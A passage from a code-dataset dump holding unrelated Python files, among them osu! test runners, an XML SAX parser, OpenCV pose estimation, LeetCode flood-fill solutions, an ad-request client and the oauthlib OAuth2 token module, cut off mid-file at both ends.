i)))\n\nprint(check)\n","sub_path":"les1/hw4.py","file_name":"hw4.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"234456523","text":"import sys\nimport time\n\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\n\nfrom unit_tests.callback_test import CallbackTest\nfrom unit_tests.beatmap_tests import BeatmapTests\nfrom unit_tests.replay_read_tests import ReplayReadTests\nfrom unit_tests.collection_tests import CollectionTests\nfrom unit_tests.temporal_graph_test import TemporalGraphTest\nfrom unit_tests.graph_manager_test import GraphManagerTest\nfrom unit_tests.manager_switch_test import ManagerSwitchTest\nfrom unit_tests.std_replay_test import StdReplayTest\nfrom unit_tests.display_test import DisplayTest\n\n\nsys._excepthook = sys.excepthook \ndef exception_hook(exctype, value, traceback):\n print(exctype, value, traceback)\n sys._excepthook(exctype, value, traceback) \n sys.exit(1) \n\nsys.excepthook = exception_hook \n\n\nif __name__ == '__main__':\n \n app = QApplication(sys.argv)\n\n CallbackTest.run_tests()\n\n print('Running beatmap loading test mania . . .')\n BeatmapTests.test_beatmap_loading_mania('unit_tests\\\\maps\\\\mania\\\\playable\\\\Camellia - GHOST (qqqant) [Collab PHANTASM [MX]].osu')\n print('OK\\n\\n')\n\n print('Running beatmap loading test std . . .')\n BeatmapTests.test_beatmap_loading_std('unit_tests\\\\maps\\\\std\\\\playable\\\\Mutsuhiko Izumi - Red Goose (nold_1702) [ERT Basic].osu')\n print('OK\\n\\n')\n\n print('Running std hitobject visibility test . . .')\n # BeatmapTests.test_hitobject_visibility_std()\n print('OK\\n\\n')\n\n print('Running collection loading test . . .')\n CollectionTests.test_collection_loading('unit_tests\\\\collections\\\\collection.db')\n print('OK\\n\\n')\n\n print('Running replay loading test . . .')\n ReplayReadTests.test_replay_loading('unit_tests\\\\replays\\\\osu\\\\agility_test.osr')\n ReplayReadTests.test_replay_loading('unit_tests\\\\replays\\\\osu\\\\abraker - Mutsuhiko Izumi - Red Goose [ERT Basic] (2019-08-24) Osu.osr')\n ReplayReadTests.test_replay_loading('unit_tests\\\\replays\\\\osu\\\\LeaF - I (Maddy) [Terror] replay_0.osr')\n ReplayReadTests.test_replay_loading('unit_tests\\\\replays\\\\osu\\\\so bad - Nakamura Meiko - Aka no Ha [Extra] (2020-03-01) std Osu.osr')\n ReplayReadTests.test_replay_loading('unit_tests\\\\replays\\\\osu\\\\so bad - Nakamura Meiko - Aka no Ha [Extra] (2020-03-01) std ripple.osr')\n ReplayReadTests.test_replay_loading('unit_tests\\\\replays\\\\mania\\\\osu!topus! - DJ Genericname - Dear You [S.Star\\'s 4K HD+] (2019-05-29) OsuMania.osr')\n ReplayReadTests.test_replay_loading('unit_tests\\\\replays\\\\osu\\\\Toy - Within Temptation - The Unforgiving [Marathon] (2018-02-06) Osu.osr')\n print('OK\\n\\n')\n display_test = DisplayTest(app, 'unit_tests\\\\maps\\\\std\\\\playable\\\\Mutsuhiko Izumi - Red Goose (nold_1702) [ERT Basic].osu')\n display_test.switcher_test()\n display_test.time_browse_test(app)\n display_test.close()\n\n std_replay_test = StdReplayTest(app)\n std_replay_test.close()\n\n manager_switch_test = ManagerSwitchTest()\n manager_switch_test.manager_switch_test()\n manager_switch_test.manager_add_remove_test()\n\n temporal_graph_test = TemporalGraphTest()\n temporal_graph_test.time_minupilation_test(app)\n temporal_graph_test.close()\n\n graph_manager_test = GraphManagerTest()\n graph_manager_test.run_tests(app)\n graph_manager_test.close()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"14045421","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor : wwong3\nDate : 2019-April-02\nPurpose: Password Parsing\n\"\"\"\n\nimport os\nimport sys\nimport re\n\n# --------------------------------------------------\ndef main():\n \n args = sys.argv[1:]\n\n if len(args) !=2:\n print('Usage: {} PASSWORD ALT'.format(os.path.basename(sys.argv[0])))\n sys.exit(1)\n\n pw=args[0]\n alt=args[1]\n\n alt1=pw.upper()\n alt2=pw[0].upper()+pw[1:]\n\n addition_char=re.compile('.?'+pw+'.?')\n\n if pw==alt:\n print('ok')\n elif alt==alt1:\n print('ok')\n elif alt==alt2:\n print('ok')\n elif addition_char.match(alt):\n print('ok')\n else:\n print('nah')\n \n\n\n# --------------------------------------------------\nmain()\n","sub_path":"assignments/12-regex-passwords/pass.py","file_name":"pass.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"527917360","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport xml.sax\nimport copy\nimport logging\n\nlogger = logging.getLogger(__file__)\n\n\nclass EpgSaxHandler(xml.sax.ContentHandler):\n\n def __init__(self):\n self.node = self.common = self.cx1 = self.cx2 = self.cx3 = self.binding = self.interface = self.pgw_lic \\\n = self.sgw_lic = self.li_group = None\n self.binding_list = []\n self.interfa_list = []\n self.li_group_lis = []\n self.key = None\n self.indicator = None\n self.lic_indic = None\n\n self.sgw_lics = self.pgw_lics = None\n logger.debug('Sax handler for EPG started...')\n\n def startDocument(self):\n logger.debug('Start the document of EPG...')\n self.node = {}\n\n def startElementNS(self, name, qname, attrs):\n self.startElementNS(name, attrs)\n\n def endElementNS(self, name, qname):\n self.endElementNS(name)\n\n def startElement(self, name, attrs):\n if 'global' == name:\n self.indicator = 'global'\n self.common = {}\n elif 'cx1' == name:\n self.indicator = 'cx1'\n self.cx1 = {}\n elif 'cx2' == name:\n self.indicator = 'cx2'\n self.cx2 = {}\n elif 'binding' == name:\n self.indicator = 'binding'\n self.binding = {}\n elif 'interface' == name:\n self.indicator = 'interface'\n self.interface = {}\n elif 'cx3' == name:\n self.indicator = 'cx3'\n self.cx3 = {}\n self.sgw_lics = []\n self.pgw_lics = []\n elif 'x3-pgw-lic' == name:\n self.lic_indic = 'x3-pgw-lic'\n self.pgw_lic = {}\n elif 'x3-sgw-lic' == name:\n self.lic_indic = 'x3-sgw-lic'\n self.sgw_lic = {}\n elif 'group' == name:\n self.indicator = 'group'\n self.li_group = {}\n self.key = name\n\n def characters(self, content):\n if 'global' == self.indicator:\n if 'global' != self.key:\n if self.key is not None:\n self.common[self.key] = content\n elif 'cx1' == self.indicator:\n if 'cx1' != self.key:\n if self.key is not None:\n self.cx1[self.key] = content\n elif 'cx2' == self.indicator:\n if 'cx2' != self.key:\n if self.key is not None:\n self.cx2[self.key] = content\n elif 'binding' == self.indicator:\n if 'binding' != self.key:\n if self.key is not None:\n self.binding[self.key] = content\n elif 'interface' == self.indicator:\n if 'interface' != self.key:\n if self.key is not None:\n self.interface[self.key] = content\n elif 'group' == self.indicator:\n if 'group' != self.key and self.key is not None:\n self.li_group[self.key] = content\n elif 'cx3' == self.indicator:\n if 'x3-pgw-lic' == self.lic_indic:\n if 'cx3' != self.key and 'x3-pgw-lic' != self.key and self.key is not None:\n self.pgw_lic[self.key] = content\n elif 'x3-sgw-lic' == self.lic_indic:\n if 'cx3' != self.key and 'x3-sgw-lic' != self.key and self.key is not None:\n self.sgw_lic[self.key] = content\n else:\n if 'cx3' != self.key and self.key is not None:\n self.cx3[self.key] = content\n\n def endElement(self, name):\n if name == self.key:\n self.key = None\n if 'global' == self.indicator and 'global' != name:\n if not self.common.has_key(name):\n self.common[name] = u''\n if 'cx1' == self.indicator and 'cx1' != name:\n if not self.cx1.has_key(name):\n self.cx1[name] = u''\n if 'cx2' == self.indicator and 'cx2' != name:\n if not self.cx2.has_key(name):\n self.cx2[name] = u''\n if 'binding' == self.indicator and 'binding' != name:\n if not self.binding.has_key(name):\n self.binding[name] = u''\n if 'interface' == self.indicator and 'interface' != name:\n if not self.interface.has_key(name):\n self.interface[name] = u''\n if 'group' == self.indicator and 'group' != name:\n if not self.li_group.has_key(name):\n self.li_group[name] = u''\n if 'cx3' == self.indicator and 'cx3' != name:\n if 'x3-pgw-lic' == self.lic_indic:\n if 'x3-pgw-lic' != name:\n if not self.pgw_lic.has_key(name):\n self.pgw_lic[name] = u''\n elif 'x3-sgw-lic' == self.lic_indic:\n if 'x3-sgw-lic' != name:\n if not self.sgw_lic.has_key(name):\n self.sgw_lic[name] = u''\n else:\n if 'x3-pgw-lic' != name and 'x3-sgw-lic' != name:\n if not self.cx3.has_key(name):\n self.cx3[name] = u''\n\n if 'global' == name:\n self.node['global'] = copy.deepcopy(self.common)\n self.common.clear()\n self.indicator = None\n\n if 'cx1' == name:\n self.node['cx1'] = copy.deepcopy(self.cx1)\n self.cx1.clear()\n self.indicator = None\n\n if 'cx2' == name:\n self.node['cx2'] = copy.deepcopy(self.cx2)\n self.cx2.clear()\n self.indicator = None\n\n if 'binding' == name:\n self.binding_list.append(copy.deepcopy(self.binding))\n self.binding.clear()\n self.indicator = None\n\n if 'interface' == name:\n self.interfa_list.append(copy.deepcopy(self.interface))\n self.interface.clear()\n self.indicator = None\n\n if 'group' == name:\n self.li_group_lis.append(copy.deepcopy(self.li_group))\n self.li_group.clear()\n self.indicator = None\n\n if 'cx3' == name:\n self.cx3['pgw_lics'] = copy.deepcopy(self.pgw_lics)\n self.cx3['sgw_lics'] = copy.deepcopy(self.sgw_lics)\n self.node['cx3'] = copy.deepcopy(self.cx3)\n self.cx3.clear()\n del self.pgw_lics[:]\n del self.sgw_lics[:]\n self.indicator = None\n\n if 'x3-pgw-lic' == name:\n self.pgw_lics.append(copy.deepcopy(self.pgw_lic))\n self.pgw_lic.clear()\n self.lic_indic = None\n\n if 'x3-sgw-lic' == name:\n self.sgw_lics.append(copy.deepcopy(self.sgw_lic))\n self.sgw_lic.clear()\n self.lic_indic = None\n\n\n def endDocument(self):\n self.node['bindings'] = self.binding_list\n self.node['interfaces'] = self.interfa_list\n self.node['groups'] = self.li_group_lis\n logger.debug('End the document of EPG.')\n\n\nclass EpgNodeInfo:\n\n def __init__(self, xml_path):\n self.logger = logger\n parser = xml.sax.make_parser()\n handler = EpgSaxHandler()\n parser.setContentHandler(handler)\n parser.parse(open(xml_path, 'r'))\n self.node = handler.node\n\n def get_node_info(self):\n return self.node\n\n'''\ni = EpgNodeInfo('/Users/lowitty/proj/pycharm/zacademy/config/ssh_daemon/epg/epg_node.xml')\nn = i.get_node_info()\nprint n\n'''","sub_path":"com/ericsson/xn/server/parser/EpgParser.py","file_name":"EpgParser.py","file_ext":"py","file_size_in_byte":7386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"119885020","text":"#!python\n\n# Block 1\nnumber = 19321 # Square root of this\nlow = 1 # Starting lower limit\nhigh = number # Starting higher limit\nguess = (low+high) // 2 # Initial guess -- halfway\nnsquared = guess * guess # Guess squared\n# Block 2\ncount = 1 # Initialise guess count\nwhile nsquared != number: # Looping until we find it (!)\n print(f\"Guess = {guess}\") # Print the guess, for the lulz.\n if nsquared > number: # Where are we?\n high = guess # Too high, guess is new upper limit\n else:\n low = guess # Too low, guess is new lower limit\n #-- endif\n count += 1 # Add 1 to guess count\n guess = (low+high) // 2 # New guess is halfway\n nsquared = guess * guess # Guess squared\n#-- endwhile\n# Block 3\nprint(f\"Square root is {guess}\")\nprint(f\"In {count} guesses.\")\n","sub_path":"chapter.12/dandc.py","file_name":"dandc.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"24860120","text":"# Insert 5 cars into the inventory table\n# 3 Fords, and 2 Hondas\n\nimport sqlite3\n\nwith sqlite3.connect(\"cars.db\") as connection:\n c = connection.cursor()\n\n # create a tuple of information, then executemany\n cars = [\n (\"Ford\", \"Mustang\", 5),\n (\"Honda\", \"Civic\", 12),\n (\"Honda\", \"CRX\", 3),\n (\"Ford\", \"Pinto\", 21),\n (\"Ford\", \"Shelby\", 1),\n ]\n\n c.executemany(\"INSERT INTO inventory(make, model, inventory) VALUES(?, ?, ?)\", cars)\n\n","sub_path":"sql/cars02Homework.py","file_name":"cars02Homework.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"368946925","text":"import cv2\nimport numpy as np\nfrom pycontrol import pcv, params\n\n\n# 读取图像\n# read image\nimg1 = cv2.imread('../../../data/1.png')\nimg2 = cv2.imread('../../../data/2.png')\nassert img1 is not None and img2 is not None\n\n\ndef getMatches(img1, img2):\n orb = cv2.ORB_create()\n\n keypoints1, descriptors1 = orb.detectAndCompute(img1, None)\n keypoints2, descriptors2 = orb.detectAndCompute(img2, None)\n\n bf = cv2.BFMatcher(cv2.NORM_HAMMING)\n matches = bf.match(descriptors1, descriptors2)\n\n matches = sorted(matches, key=lambda x: x.distance)\n min_dist = matches[0].distance\n\n goodmatches = []\n for i in range(len(descriptors1)):\n if matches[i].distance <= max(2 * min_dist, 30):\n goodmatches.append(matches[i])\n\n return keypoints1, keypoints2, goodmatches\n\n\n\nkeypoints1, keypoints2, matches = getMatches(img1, img2)\npoints1 = []\npoints2 = []\nfor i in range(len(matches)):\n points1.append(keypoints1[matches[i].queryIdx].pt)\n points2.append(keypoints2[matches[i].trainIdx].pt)\n\n\n\n# 计算本质矩阵\n# calculate Essential Matrix\nfx = fy = 521\ncx = 325.1\ncy = 249.7\nK = [fx, fy, cx, cy]\nessential_matrix = pcv.findEssentialMat(points1, points2, K, method=params.FM_8POINT)\nprint('essential matrix is:\\n', essential_matrix)\n\n\n\n\n","sub_path":"docs/cv/calib3d/camera_motion/2D-2D/pose_estimation_2d2d.py","file_name":"pose_estimation_2d2d.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"475324049","text":"'''\nInput:\nimage = [[1,1,1],[1,1,0],[1,0,1]]\nsr = 1, sc = 1, newColor = 2\nOutput: [[2,2,2],[2,2,0],[2,0,1]]\nExplanation:\nFrom the center of the image (with position (sr, sc) = (1, 1)), all pixels connected\nby a path of the same color as the starting pixel are colored with the new color.\nNote the bottom corner is not colored 2, because it is not 4-directionally connected\nto the starting pixel.\nNote:\n\nThe length of image and image[0] will be in the range [1, 50].\nThe given starting pixel will satisfy 0 <= sr < image.length and 0 <= sc < image[0].length.\nThe value of each color in image[i][j] and newColor will be an integer in [0, 65535].\n'''\n\nclass Solution:\n def floodFill(self, image, sr, sc, newColor):\n \"\"\"\n :type image: List[List[int]]\n :type sr: int\n :type sc: int\n :type newColor: int\n :rtype: List[List[int]]\n \"\"\"\n def isInsideGrid(image,i,j):\n col = len(image[0])\n row = len(image)\n return i >= 0 and i < col and j >= 0 and j < row\n\n\n\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n scolor = image[0][0]\n for i in range(4):\n x = sr + dx[i]\n y = sc + dy[i]\n if isInsideGrid(image, x, y) and image[x][y]==scolor:\n image[x][y] = newColor\n return image\n\n\nsol = Solution()\nprint(sol.floodFill([[1,1,1],[1,1,0],[1,0,1]],1,1,2))\n\nclass Solution:\n def floodFill(self, image, sr, sc, newColor):\n \"\"\"\n :type image: List[List[int]]\n :type sr: int\n :type sc: int\n :type newColor: int\n :rtype: List[List[int]]\n \"\"\"\n if image[sr][sc] == newColor:\n return image\n rn, cn = len(image), len(image[0])\n oldColor = image[sr][sc]\n\n def dfs(x,y):\n if 0 <= x < rn and 0 <= y < cn and image[x][y] == oldColor:\n image[x][y] = newColor\n dfs(x-1,y)\n dfs(x+1,y)\n dfs(x,y+1)\n dfs(x,y-1)\n dfs(sr,sc)\n return image","sub_path":"LeetCodeContests/60/leetcode_60_A.py","file_name":"leetcode_60_A.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"433486741","text":"import json\n\ndef http_headers_to_json(text_file, json_parsed_file):\n \n with open(text_file) as f:\n line = f.readline().replace('\\n', '').split(' ', 2)\n strings = {}\n if line[0] =='GET':\n strings['method'] = line[0]\n strings['uri'] = line[1]\n strings['protocol'] = line[2]\n \n elif line[0] == 'HTTP/1.1':\n strings['protocol'] = line[0]\n strings['status_code'] = line[1]\n strings['status_message'] = line[2]\n \n elif line[0] == 'HTTP/2':\n strings['protocol'] = line[0]\n strings['status_code'] = line[1]\n \n for lines in f:\n if len(lines) > 1:\n headers = lines.replace('\\n', '').split(': ', 1)\n strings[headers[0]] = headers[1]\n with open(json_parsed_file, 'w') as p:\n json.dump(strings, p)\n\n\nhttp_headers_to_json('headers-1.txt', 'results-1.json')\n\n \n \n ","sub_path":"task_http_headers.py","file_name":"task_http_headers.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"594359512","text":"from inmobi.api.request.ad import Request\nimport json\nimport urllib2\nfrom urllib2 import URLError, HTTPError\n\n\nclass IMBase(object):\n def __init__(self, request):\n super(IMBase, self).__init__()\n self.request = request\n self.request.displaymanager = \"c_py\"\n self.request.displaymanagerver = \"1.0.0\"\n\n\nclass IMBanner(IMBase):\n \"\"\"IMBanner class to fetch InMobi Banner Ads.\n \"\"\"\n\n def __init__(self, request):\n IMBase.__init__(self, request)\n self.request = request\n # Auto Correct params\n self.request.imp[0].setAdType(\"\")\n\n def loadad(self):\n return InMobiS2SClient.loadad(self.request)\n\n\nclass IMInterstitial(IMBase):\n \"\"\"IMInterstitial class to fetch InMobi Interstial ad format.\n \"\"\"\n\n def __init__(self, request):\n IMBase.__init__(self, request)\n self.request = request\n self.request.imp[0].setAdType(\"int\")\n\n def loadad(self):\n return InMobiS2SClient.loadad(self.request)\n\n\nclass IMNative(IMBase):\n \"\"\"IMNative class to fetch InMobi Native ad format.\n \"\"\"\n\n def __init__(self, request):\n IMBase.__init__(self, request)\n self.request = request\n\n def loadad(self):\n return InMobiS2SClient.loadad(self.request)\n\n\nclass AdResponse(object):\n \"\"\"AdResponse object for the Ads.\n \"\"\"\n\n def __init__(self):\n super(AdResponse, self).__init__()\n self.has_error = False\n self.error = ResponseError()\n self.body = ''\n\n\nclass ResponseError(object):\n \"\"\"ResponseError will hold the error code and error message.\n \"\"\"\n\n def __init__(self):\n self.code = -1\n self.message = ''\n\n\nclass InMobiS2SClient(object):\n END_POINT = \"http://api.w.inmobi.com/showad/v2.1\"\n\n @staticmethod\n def loadad(request):\n if not isinstance(request, Request):\n raise TypeError(\"Parameter should be of type Request\")\n\n data = json.dumps(request, default=lambda o: o.__dict__)\n headers = {}\n headers['Content-Type'] = 'application/json'\n headers['x-forwarded-for'] = request.device.ip\n headers['x-device-user-agent'] = request.device.ua\n\n adresponse_object = AdResponse()\n\n try:\n request = urllib2.Request(InMobiS2SClient.END_POINT, data, headers)\n response = urllib2.urlopen(request, timeout=60)\n except HTTPError as e:\n adresponse_object.has_error = True\n adresponse_object.error.code = e.code\n adresponse_object.error.message = 'The server couldn\\'t fulfill the request.'\n except URLError as e:\n adresponse_object.has_error = True\n adresponse_object.error.code = e.reason[0]\n adresponse_object.error.message = e.reason[1]\n else:\n adresponse_object.body = response.read()\n return adresponse_object\n","sub_path":"python/inmobi/monetization/ads.py","file_name":"ads.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"647199627","text":"\"\"\"\noauthlib.oauth2.rfc6749.tokens\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThis module contains methods for adding two types of access tokens to requests.\n\n- Bearer https://tools.ietf.org/html/rfc6750\n- MAC https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01\n\"\"\"\nimport hashlib\nimport hmac\nimport warnings\nfrom binascii import b2a_base64\nfrom urllib.parse import urlparse\n\nfrom oauthlib import common\nfrom oauthlib.common import add_params_to_qs, add_params_to_uri\n\nfrom . import utils\n\n\nclass OAuth2Token(dict):\n\n def __init__(self, params, old_scope=None):\n super().__init__(params)\n self._new_scope = None\n if 'scope' in params and params['scope']:\n self._new_scope = set(utils.scope_to_list(params['scope']))\n if old_scope is not None:\n self._old_scope = set(utils.scope_to_list(old_scope))\n if self._new_scope is None:\n # the rfc says that if the scope hasn't changed, it's optional\n # in params so set the new scope to the old scope\n self._new_scope = self._old_scope\n else:\n self._old_scope = self._new_scope\n\n @property\n def scope_changed(self):\n return self._new_scope != self._old_scope\n\n @property\n def old_scope(self):\n return utils.list_to_scope(self._old_scope)\n\n @property\n def old_scopes(self):\n return list(self._old_scope)\n\n @property\n def scope(self):\n return utils.list_to_scope(self._new_scope)\n\n @property\n def scopes(self):\n return list(self._new_scope)\n\n @property\n def missing_scopes(self):\n return list(self._old_scope - self._new_scope)\n\n @property\n def additional_scopes(self):\n return list(self._new_scope - self._old_scope)\n\n\ndef prepare_mac_header(token, uri, key, http_method,\n nonce=None,\n headers=None,\n body=None,\n ext='',\n hash_algorithm='hmac-sha-1',\n issue_time=None,\n draft=0):\n \"\"\"Add an `MAC Access Authentication`_ signature to headers.\n\n Unlike OAuth 1, this HMAC signature does not require inclusion of the\n request payload/body, neither does it use a combination of client_secret\n and token_secret but rather a mac_key provided together with the access\n token.\n\n Currently two algorithms are supported, \"hmac-sha-1\" and \"hmac-sha-256\",\n `extension algorithms`_ are not supported.\n\n Example MAC Authorization header, linebreaks added for clarity\n\n Authorization: MAC id=\"h480djs93hd8\",\n nonce=\"1336363200:dj83hs9s\",\n mac=\"bhCQXTVyfj5cmA9uKkPFx1zeOXM=\"\n\n .. _`MAC Access Authentication`: https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01\n .. _`extension algorithms`: https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01#section-7.1\n\n :param token:\n :param uri: Request URI.\n :param key: MAC given provided by token endpoint.\n :param http_method: HTTP Request method.\n :param nonce:\n :param headers: Request headers as a dictionary.\n :param body:\n :param ext:\n :param hash_algorithm: HMAC algorithm provided by token endpoint.\n :param issue_time: Time when the MAC credentials were issued (datetime).\n :param draft: MAC authentication specification version.\n :return: headers dictionary with the authorization field added.\n \"\"\"\n http_method = http_method.upper()\n host, port = utils.host_from_uri(uri)\n\n if hash_algorithm.lower() == 'hmac-sha-1':\n h = hashlib.sha1\n elif hash_algorithm.lower() == 'hmac-sha-256':\n h = hashlib.sha256\n else:\n raise ValueError('unknown hash algorithm')\n\n if draft == 0:\n nonce = nonce or '{}:{}'.format(utils.generate_age(issue_time),\n common.generate_nonce())\n else:\n ts = common.generate_timestamp()\n nonce = common.generate_nonce()\n\n sch, net, path, par, query, fra = urlparse(uri)\n\n request_uri = path + '?' + query if query else path\n\n # Hash the body/payload\n if body is not None and draft == 0:\n body = body.encode('utf-8')\n bodyhash = b2a_base64(h(body).digest())[:-1].decode('utf-8')\n else:\n bodyhash = ''\n\n # Create the normalized base string\n base = []\n if draft == 0:\n base.append(nonce)\n else:\n base.append(ts)\n base.append(nonce)\n base.append(http_method.upper())\n base.append(request_uri)\n base.append(host)\n base.append(port)\n if draft == 0:\n base.append(bodyhash)\n base.append(ext or '')\n base_string = '\\n'.join(base) + '\\n'\n\n # hmac struggles with unicode strings - http://bugs.python.org/issue5285\n if isinstance(key, str):\n key = key.encode('utf-8')\n sign = hmac.new(key, base_string.encode('utf-8'), h)\n sign = b2a_base64(sign.digest())[:-1].decode('utf-8')\n\n header = []\n header.append('MAC id=\"%s\"' % token)\n if draft != 0:\n header.append('ts=\"%s\"' % ts)\n header.append('nonce=\"%s\"' % nonce)\n if bodyhash:\n header.append('bodyhash=\"%s\"' % bodyhash)\n if ext:\n header.append('ext=\"%s\"' % ext)\n header.append('mac=\"%s\"' % sign)\n\n headers = headers or {}\n headers['Authorization'] = ', '.join(header)\n return headers\n\n\ndef prepare_bearer_uri(token, uri):\n \"\"\"Add a `Bearer Token`_ to the request URI.\n Not recommended, use only if client can't use authorization header or body.\n\n http://www.example.com/path?access_token=h480djs93hd8\n\n .. _`Bearer Token`: https://tools.ietf.org/html/rfc6750\n\n :param token:\n :param uri:\n \"\"\"\n return add_params_to_uri(uri, [(('access_token', token))])\n\n\ndef prepare_bearer_headers(token, headers=None):\n \"\"\"Add a `Bearer Token`_ to the request URI.\n Recommended method of passing bearer tokens.\n\n Authorization: Bearer h480djs93hd8\n\n .. _`Bearer Token`: https://tools.ietf.org/html/rfc6750\n\n :param token:\n :param headers:\n \"\"\"\n headers = headers or {}\n headers['Authorization'] = 'Bearer %s' % token\n return headers\n\n\ndef prepare_bearer_body(token, body=''):\n \"\"\"Add a `Bearer Token`_ to the request body.\n\n access_token=h480djs93hd8\n\n .. _`Bearer Token`: https://tools.ietf.org/html/rfc6750\n\n :param token:\n :param body:\n \"\"\"\n return add_params_to_qs(body, [(('access_token', token))])\n\n\ndef random_token_generator(request, refresh_token=False):\n \"\"\"\n :param request: OAuthlib request.\n :type request: oauthlib.common.Request\n :param refresh_token:\n \"\"\"\n return common.generate_token()\n\n\ndef signed_token_generator(private_pem, **kwargs):\n \"\"\"\n :param private_pem:\n \"\"\"\n def signed_token_generator(request):\n request.claims = kwargs\n return common.generate_signed_token(private_pem, request)\n\n return signed_token_generator\n\n\ndef get_token_from_header(request):\n \"\"\"\n Helper function to extract a token from the request header.\n\n :param request: OAuthlib request.\n :type request: oauthlib.common.Request\n :return: Return the token or None if the Authorization header is malformed.\n \"\"\"\n token = None\n\n if 'Authorization' in request.headers:\n split_header = request.headers.get('Authorization').split()\n if len(split_header) == 2 and split_header[0].lower() == 'bearer':\n token = split_header[1]\n else:\n token = request.access_token\n\n return token\n\n\nclass TokenBase:\n __slots__ = ()\n\n def __call__(self, request, refresh_token=False):\n raise NotImplementedError('Subclasses must implement this method.')\n\n def validate_request(self, request):\n \"\"\"\n :param request: OAuthlib request.\n :type request: oauthlib.common.Request\n \"\"\"\n raise NotImplementedError('Subclasses must implement this method.')\n\n def estimate_type(self, request):\n \"\"\"\n :param request: OAuthlib request.\n :type request: oauthlib.common.Request\n \"\"\"\n raise NotImplementedError('Subclasses must implement this method.')\n\n\nclass BearerToken(TokenBase):\n __slots__ = (\n 'request_validator', 'token_generator',\n 'refresh_token_generator', 'expires_in'\n )\n\n def __init__(self, request_validator=None, token_generator=None,\n expires_in=None, refresh_token_generator=None):\n self.request_validator = request_validator\n self.token_generator = token_generator or random_token_generator\n self.refresh_token_generator = (\n refresh_token_generator or self.token_generator\n )\n self.expires_in = expires_in or 3600\n\n def create_token(self, request, refresh_token=False, **kwargs):\n \"\"\"\n Create a BearerToken, by default without refresh token.\n\n :param request: OAuthlib request.\n :type request: oauthlib.common.Request\n :param refresh_token:\n \"\"\"\n if \"save_token\" in kwargs:\n warnings.warn(\"`save_token` has been deprecated, it was not called internally.\"\n \"If you do, call `request_validator.save_token()` instead.\",\n DeprecationWarning)\n\n expires_in = self.expires_in(request) if callable(self.expires_in) else self.expires_in\n\n request.expires_in = expires_in\n\n token = {\n 'access_token': self.token_generator(request),\n 'expires_in': expires_in,\n 'token_type': 'Bearer',\n }\n\n # If provided, include - this is optional in some cases https://tools.ietf.org/html/rfc6749#section-3.3 but\n # there is currently no mechanism to coordinate issuing a token for only a subset of the requested scopes so\n # all tokens issued are for the entire set of requested scopes.\n if request.scopes is not None:\n token['scope'] = ' '.join(request.scopes)\n\n if refresh_token:\n if (request.refresh_token and\n not self.request_validator.rotate_refresh_token(request)):\n token['refresh_token'] = request.refresh_token\n else:\n token['refresh_token'] = self.refresh_token_generator(request)\n\n token.update(request.extra_credentials or {})\n return OAuth2Token(token)\n\n def validate_request(self, request):\n \"\"\"\n :param request: OAuthlib request.\n :type request: oauthlib.common.Request\n \"\"\"\n token = get_token_from_header(request)\n return self.request_validator.validate_bearer_token(\n token, request.scopes, request)\n\n def estimate_type(self, request):\n \"\"\"\n :param request: OAuthlib request.\n :type request: oauthlib.common.Request\n \"\"\"\n if request.headers.get('Authorization', '').split(' ')[0].lower() == 'bearer':\n return 9\n elif request.access_token is not None:\n return 5\n else:\n return 0\n","sub_path":"oauthlib/oauth2/rfc6749/tokens.py","file_name":"tokens.py","file_ext":"py","file_size_in_byte":11033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"52186959","text":"import shutil\nimport tempfile\n\nimport parselmouth\n\nimport os\nfrom math import isnan\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom StringIO import StringIO\nimport io\nimport base64\nimport seaborn as sns\n\n# sns.set() # Use seaborn's default style to make attractive graph\nfrom metilda.default import MIN_PITCH_HZ, MAX_PITCH_HZ\n\n\ndef draw_spectrogram(spectrogram, dynamic_range=70):\n X, Y = spectrogram.x_grid(), spectrogram.y_grid()\n sg_db = 10 * np.log10(spectrogram.values)\n plt.pcolormesh(X, Y, sg_db, vmin=sg_db.max() - dynamic_range, cmap='afmhot')\n plt.ylim([spectrogram.ymin, spectrogram.ymax])\n plt.xlabel(\"time [s]\")\n plt.ylabel(\"frequency [Hz]\")\n\n\ndef draw_pitch(pitch, min_pitch, max_pitch):\n # Extract selected pitch contour, and\n # replace unvoiced samples by NaN to not plot\n pitch_values = pitch.selected_array['frequency']\n pitch_values[pitch_values==0] = np.nan\n plt.plot(pitch.xs(), pitch_values, 'o', markersize=5, color='w')\n plt.plot(pitch.xs(), pitch_values, 'o', markersize=2)\n plt.grid(False)\n plt.ylim(min_pitch, max_pitch)\n plt.ylabel(\"fundamental frequency [Hz]\")\n\n\ndef audio_analysis_image(upload_path,\n tmin=-1,\n tmax=-1,\n 